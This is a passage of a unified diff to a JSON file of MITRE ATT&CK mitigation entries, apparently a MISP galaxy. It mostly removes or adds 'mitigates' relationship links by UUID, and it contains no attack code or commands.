"mitigates" - }, - { - "dest-uuid": "9e80ddfb-ce32-4961-a778-ca6a10cfae72", + "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], @@ -1497,13 +1172,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "aa8bfbc9-78dc-41a4-a03b-7453e0fdccda", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", "tags": [ @@ -1525,13 +1193,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "b2001907-166b-4d71-bb3c-9d26c871de09", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", "tags": [ @@ -1539,13 +1200,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ @@ -1567,20 +1221,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c4ad009b-6e13-4419-8d21-918a1652de02", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "c63a348e-ffc2-486a-b9d9-d7f11ec54d99", "tags": [ @@ -1588,13 +1228,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "ca205a36-c1ad-488b-aa6c-ab34bdd3a36b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "d10cbd34-42e3-45c0-84d2-535a09849584", "tags": [ @@ -1623,13 +1256,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "d3046a90-580c-4004-8208-66915bc29830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "dca670cf-eeec-438f-8185-fd959d9ef211", "tags": [ @@ -1637,13 +1263,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "dce31a00-1e90-4655-b0f9-e2e71a748a87", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b", "tags": [ @@ -1672,20 +1291,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "f2d44246-91f1-478a-b6c8-1227e0ca109d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "f44731de-ea9f-406d-9b83-30ecbb9b4392", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "f4c1826f-a322-41cd-9557-562100848c84", "tags": [ @@ -1716,15 +1321,7 @@ "https://en.wikipedia.org/wiki/Control-flow_integrity" ] }, - "related": [ - { - "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "f2dcee22-c275-405e-87fd-48630a19dfba", "value": "Exploitation for Client Execution Mitigation - T1203" }, @@ -1742,22 +1339,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "68c96494-1a50-403e-8844-69a6af278c68", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "98034fef-d9fb-4667-8dc4-2eab6231724c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "d7c49196-b40e-42bc-8eed-b803113692ed", "value": "Change Default File Association Mitigation - T1042" }, @@ -1774,15 +1356,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "39706d54-0d06-4a25-816a-78cc43455100", "value": "Data from Removable Media Mitigation - T1025" }, @@ -1796,15 +1370,7 @@ "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" ] }, - "related": [ - { - "dest-uuid": "e6415f09-df0e-48de-9aba-928c902b7549", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "e547ed6a-f1ca-40df-8613-2ce27927f145", "value": "Exfiltration Over Physical Medium Mitigation - T1052" }, @@ -1818,15 +1384,7 @@ "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx" ] }, - "related": [ - { - "dest-uuid": "64196062-5210-42c3-9a02-563a0d1797ef", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "b8d57b16-d8e2-428c-a645-1083795b3445", "value": "Communication Through Removable Media Mitigation - T1092" }, @@ -1843,15 +1401,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "2ace01f8-67c8-43eb-b7b1-a7b9f1fe67e1", "value": "File and Directory Discovery Mitigation - T1083" }, @@ -1869,15 +1419,7 @@ "https://github.com/mattifestation/PowerSploit" ] }, - "related": [ - { - "dest-uuid": "46944654-fcc1-4f63-9dad-628102376586", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "96913243-2b5e-4483-a65c-bb152ddd2f04", "value": "DLL Search Order Hijacking Mitigation - T1038" }, @@ -1894,15 +1436,7 @@ "https://github.com/mattifestation/PowerSploit" ] }, - "related": [ - { - "dest-uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "1022138b-497c-40e6-b53a-13351cbd4090", "value": "File System Permissions Weakness Mitigation - T1044" }, @@ -1919,15 +1453,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "c1676218-c16a-41c9-8f7a-023779916e39", "value": "System Network Connections Discovery Mitigation - T1049" }, @@ -1942,15 +1468,7 @@ "https://attack.mitre.org/mitigations/T1058" ] }, - "related": [ - { - "dest-uuid": "39a130e1-6ab7-434a-8bd2-418e7d9d6427", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "9378f139-10ef-4e4b-b679-2255a0818902", "value": "Service Registry Permissions Weakness Mitigation - T1058" }, @@ -1967,15 +1485,7 @@ "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" ] }, - "related": [ - { - "dest-uuid": "00d0b012-8a03-410e-95de-5826bf542de6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "4b998a71-7b8f-4dcc-8f3f-277f2e740271", "value": "Indicator Removal from Tools Mitigation - T1066" }, @@ -1990,15 +1500,7 @@ "https://en.wikipedia.org/wiki/Control-flow_integrity" ] }, - "related": [ - { - "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "92e6d080-ca3f-4f95-bc45-172a32c4e502", "value": "Exploitation for Privilege Escalation Mitigation - T1068" }, @@ -2011,15 +1513,7 @@ "https://github.com/hfiref0x/UACME" ] }, - "related": [ - { - "dest-uuid": "ca1a3f50-5ebd-41f8-8320-2c7d6a6e88be", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "beb45abb-11e8-4aef-9778-1f9ac249784f", "value": "Bypass User Account Control Mitigation - T1088" }, @@ -2034,15 +1528,7 @@ "https://en.wikipedia.org/wiki/Control-flow_integrity" ] }, - "related": [ - { - "dest-uuid": "fe926152-f431-4baf-956c-4ad3cb0bf23b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "37a3f3f5-76e6-43fe-b935-f1f494c95725", "value": "Exploitation for Defense Evasion Mitigation - T1211" }, @@ -2059,15 +1545,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "52f3d5a6-8a0f-4f82-977e-750abf90d0b0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "cba5667e-e3c6-44a4-811c-266dbc00e440", "value": "Extra Window Memory Injection Mitigation - T1181" }, @@ -2082,15 +1560,7 @@ "https://en.wikipedia.org/wiki/Control-flow_integrity" ] }, - "related": [ - { - "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "06160d81-62be-46e5-aa37-4b9c645ffa31", "value": "Exploitation for Credential Access Mitigation - T1212" }, @@ -2107,15 +1577,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "9b52fca7-1a36-4da0-b62d-da5bd83b4d69", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "ff5d862a-ae6b-4833-8c15-e235d654d28e", "value": "Component Object Model Hijacking Mitigation - T1122" }, @@ -2127,15 +1589,7 @@ "https://attack.mitre.org/mitigations/T1213" ] }, - "related": [ - { - "dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "13cad982-35e3-4340-9095-7124b653df4b", "value": "Data from Information Repositories Mitigation - T1213" }, @@ -2150,15 +1604,7 @@ "https://patchwork.kernel.org/patch/8754821/" ] }, - "related": [ - { - "dest-uuid": "6be14413-578e-46c1-8304-310762b3ecd5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "44155d14-ca75-4fdf-b033-ab3d732e2884", "value": "Kernel Modules and Extensions Mitigation - T1215" }, @@ -2175,22 +1621,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "a750a9f6-0bde-4bb3-9aae-1e2786e9780c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "e7eab98d-ae11-4491-bd28-a53ba875865a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "94e95eeb-7cdb-4bd7-afba-f32fda303dbb", "value": "Network Share Connection Removal Mitigation - T1126" }, @@ -2202,15 +1633,7 @@ "https://attack.mitre.org/mitigations/T1216" ] }, - "related": [ - { - "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "51048ba0-a5aa-41e7-bf5d-993cd217dfb2", "value": "Signed Script Proxy Execution Mitigation - T1216" }, @@ -2222,15 +1645,7 @@ "https://attack.mitre.org/mitigations/T1129" ] }, - "related": [ - { - "dest-uuid": "0a5231ec-41af-4a35-83d0-6bdf11f28c65", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "cfd2cd3b-93e7-4b3e-ab46-f8bcafdbdfcf", "value": "Execution through Module Load Mitigation - T1129" }, @@ -2247,15 +1662,7 @@ "https://technet.microsoft.com/library/cc771387.aspx" ] }, - "related": [ - { - "dest-uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "910482b1-6749-4934-abcb-3e34d58294fc", "value": "Distributed Component Object Model Mitigation - T1175" }, @@ -2267,15 +1674,7 @@ "https://attack.mitre.org/mitigations/T1185" ] }, - "related": [ - { - "dest-uuid": "544b0346-29ad-41e1-a808-501bb4193f47", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "94f6b4f5-b528-4f50-91d5-f66457c2f8f7", "value": "Man in the Browser Mitigation - T1185" }, @@ -2287,15 +1686,7 @@ "https://attack.mitre.org/mitigations/T1158" ] }, - "related": [ - { - "dest-uuid": "dc27c2ec-c5f9-4228-ba57-d67b590bda93", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "84d633a4-dd93-40ca-8510-40238c021931", "value": "Hidden Files and Directories Mitigation - T1158" }, @@ -2313,15 +1704,7 @@ "https://www.ready.gov/business/implementation/IT" ] }, - "related": [ - { - "dest-uuid": "b80d107d-fa0d-4b60-9684-b0433e8bdba0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "429a5c0c-e132-45c0-a4aa-c1f736c92a1c", "value": "Data Encrypted for Impact Mitigation - T1486" }, @@ -2334,15 +1717,7 @@ "https://attack.mitre.org/mitigations/T1498" ] }, - "related": [ - { - "dest-uuid": "d74c4a7e-ffbf-432f-9365-7ebf1f787cab", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "654addf1-47ab-410a-8578-e1a0dc2a49b8", "value": "Network Denial of Service Mitigation - T1498" }, @@ -2355,43 +1730,7 @@ "https://attack.mitre.org/mitigations/T1499" ] }, - "related": [ - { - "dest-uuid": "0df05477-c572-4ed6-88a9-47c581f548f7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "18cffc21-3260-437e-80e4-4ab8bf2ba5e9", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "2bee5ffb-7a7a-4119-b1f2-158151b19ac0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "38eb0c22-6caf-46ce-8869-5964bd735858", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "c675646d-e204-4aa8-978d-e3d6d65885c4", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "82c21600-ccb6-4232-8c04-ef3792b56628", "value": "Endpoint Denial of Service Mitigation - T1499" }, @@ -2403,15 +1742,7 @@ "https://attack.mitre.org/mitigations/T1190" ] }, - "related": [ - { - "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "65da1eb6-d35d-4853-b280-98a76c0aef53", "value": "Exploit Public-Facing Application Mitigation - T1190" }, @@ -2428,15 +1759,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "dd43c543-bb85-4a6f-aa6e-160d90d06a49", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "e8d22ec6-2236-48de-954b-974d17492782", "value": "Two-Factor Authentication Interception Mitigation - T1111" }, @@ -2448,15 +1771,7 @@ "https://attack.mitre.org/mitigations/T1156" ] }, - "related": [ - { - "dest-uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "4f170666-7edb-4489-85c2-9affa28a72e0", "value": ".bash_profile and .bashrc Mitigation - T1156" }, @@ -2473,15 +1788,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "03d7999c-1f4c-42cc-8373-e7690d318104", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "16f144e4-c780-4ed2-98b4-55d14e2dfa44", "value": "System Owner/User Discovery Mitigation - T1033" }, @@ -2498,15 +1805,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "4ae4f953-fe58-4cc8-a327-33257e30a830", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "25d5e1d8-c6fb-4735-bc57-115a21222f4b", "value": "Application Window Discovery Mitigation - T1010" }, @@ -2568,6 +1867,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "208884f1-7b83-4473-ac22-4e1cf6c41471", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", "tags": [ @@ -2631,6 +1937,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", "tags": [ @@ -2771,6 +2084,13 @@ ], "type": "mitigates" }, + { + "dest-uuid": "d511a6f6-4a33-41d5-bc95-c343875d1377", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, { "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", "tags": [ @@ -2806,13 +2126,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ @@ -2842,15 +2155,7 @@ "https://attack.mitre.org/mitigations/T1004" ] }, - "related": [ - { - "dest-uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "313c8b20-4d49-40c1-9ac0-4c573aca28f3", "value": "Winlogon Helper DLL Mitigation - T1004" }, @@ -2867,15 +2172,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "cf7b3a06-8b42-4c33-bbe9-012120027925", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "ae56a49d-5281-45c5-ab95-70a1439c338e", "value": "Compile After Delivery Mitigation - T1500" }, @@ -2923,13 +2220,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "2204c371-6100-4ae0-82f3-25c07c29772a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "233fe2c0-cb41-4765-b454-e0087597fbce", "tags": [ @@ -3136,15 +2426,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "d8787791-d22e-45bb-a9a8-251d8d0a1ff2", "value": "System Service Discovery Mitigation - T1007" }, @@ -3161,15 +2443,7 @@ "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" ] }, - "related": [ - { - "dest-uuid": "246fd3c7-f5e3-466d-8787-4c13d9e3b61c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "f0a42cad-9b1f-44da-a672-718f18381018", "value": "Taint Shared Content Mitigation - T1080" }, @@ -3183,15 +2457,7 @@ "https://technet.microsoft.com/en-us/library/dn408187.aspx" ] }, - "related": [ - { - "dest-uuid": "6c174520-beea-43d9-aac6-28fb77f3e446", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "9e57c770-5a39-49a2-bb91-253ba629e3ac", "value": "Security Support Provider Mitigation - T1101" }, @@ -3208,15 +2474,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "1881da33-fdf2-4eea-afd0-e04caf9c000f", "value": "Peripheral Device Discovery Mitigation - T1120" }, @@ -3229,15 +2487,7 @@ "https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/password-must-meet-complexity-requirements" ] }, - "related": [ - { - "dest-uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "49961e75-b493-423a-9ec7-ac2d6f55384a", "value": "Password Policy Discovery Mitigation - T1201" }, @@ -3251,15 +2501,7 @@ "https://posts.specterops.io/code-signing-certificate-cloning-attacks-and-defenses-6f98657fc6ec" ] }, - "related": [ - { - "dest-uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "23061b40-a7b6-454f-8950-95d5ff80331c", "value": "Install Root Certificate Mitigation - T1130" }, @@ -3275,15 +2517,7 @@ "https://github.com/mattifestation/PowerSploit" ] }, - "related": [ - { - "dest-uuid": "62dfd1ca-52d5-483c-a84b-d6e80bf94b7b", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "fe0aeb41-1a51-4152-8467-628256ea6adf", "value": "Modify Existing Service Mitigation - T1031" }, @@ -3296,15 +2530,7 @@ "https://attack.mitre.org/mitigations/T1105" ] }, - "related": [ - { - "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "cdecc44a-1dbf-4c1f-881c-f21e3f47272a", "value": "Remote File Copy Mitigation - T1105" }, @@ -3321,15 +2547,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "a6525aec-acc4-47fe-92f9-b9b4de4b9228", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "aaa92b37-f96c-4a0a-859c-b1cb6faeb13d", "value": "Graphical User Interface Mitigation - T1061" }, @@ -3341,15 +2559,7 @@ "https://attack.mitre.org/mitigations/T1017" ] }, - "related": [ - { - "dest-uuid": "327f3cc5-eea1-42d4-a6cd-ed34b7ce8f61", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "c88151a5-fe3f-4773-8147-d801587065a4", "value": "Application Deployment Software Mitigation - T1017" }, @@ -3362,22 +2572,7 @@ "https://attack.mitre.org/mitigations/T1081" ] }, - "related": [ - { - "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "ba8e391f-14b5-496f-81f2-2d5ecd646c1c", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "0472af99-f25c-4abe-9fce-010fa3450e72", "value": "Credentials in Files Mitigation - T1081" }, @@ -3394,15 +2589,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "e358d692-23c0-4a31-9eb6-ecc13a8d7735", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "9a902722-cecd-4fbe-a6c9-49333aa0f8c2", "value": "Remote System Discovery Mitigation - T1018" }, @@ -3420,15 +2607,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "1e614ba5-2fc5-4464-b512-2ceafb14d76d", "value": "Indirect Command Execution Mitigation - T1202" }, @@ -3440,15 +2619,7 @@ "https://attack.mitre.org/mitigations/T1220" ] }, - "related": [ - { - "dest-uuid": "ebbe170d-aa74-4946-8511-9921243415a3", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "7708ac15-4beb-4863-a1a5-da2d63fb8a3c", "value": "XSL Script Processing Mitigation - T1220" }, @@ -3461,15 +2632,7 @@ "https://attack.mitre.org/mitigations/T1032" ] }, - "related": [ - { - "dest-uuid": "4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "a766ce73-5583-48f3-b7c0-0bb43c6ef8c7", "value": "Standard Cryptographic Protocol Mitigation - T1032" }, @@ -3482,15 +2645,7 @@ "https://attack.mitre.org/mitigations/T1024" ] }, - "related": [ - { - "dest-uuid": "3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "a569295c-a093-4db4-9fb4-7105edef85ad", "value": "Custom Cryptographic Protocol Mitigation - T1024" }, @@ -3507,15 +2662,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "c620e3a1-fff5-424f-abea-d2b0f3616f67", "value": "System Information Discovery Mitigation - T1082" }, @@ -3528,15 +2675,7 @@ "https://attack.mitre.org/mitigations/T1028" ] }, - "related": [ - { - "dest-uuid": "c3bce4f4-9795-46c6-976e-8676300bbc39", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "3e9f8875-d2f7-4380-a578-84393bd3b025", "value": "Windows Remote Management Mitigation - T1028" }, @@ -3566,15 +2705,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "241814ae-de3f-4656-b49e-f9a80764d4b7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "bd2554b8-634f-4434-a986-9b49c29da2ae", "value": "Security Software Discovery Mitigation - T1063" }, @@ -3591,15 +2722,7 @@ "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] }, - "related": [ - { - "dest-uuid": "e3a12395-188d-4051-9a16-ea8e14d07b88", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], + "related": [], "uuid": "d256cb63-b021-4b4a-bb6d-1b42eea179a3", "value": "Network Service Scanning Mitigation - T1046" }, @@ -3647,20 +2770,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "772bc7a8-a157-42cc-8728-d648e25c7fe7", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, - { - "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", "tags": [ @@ -3703,13 +2812,6 @@ ], "type": "mitigates" }, - { - "dest-uuid": "edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - }, { "dest-uuid": "fe926152-f431-4baf-956c-4ad3cb0bf23b", "tags": [ @@ -3735,15 +2837,7 @@ "https://www.ready.gov/business/implementation/IT" ] }, - "related": [ - { - "dest-uuid": 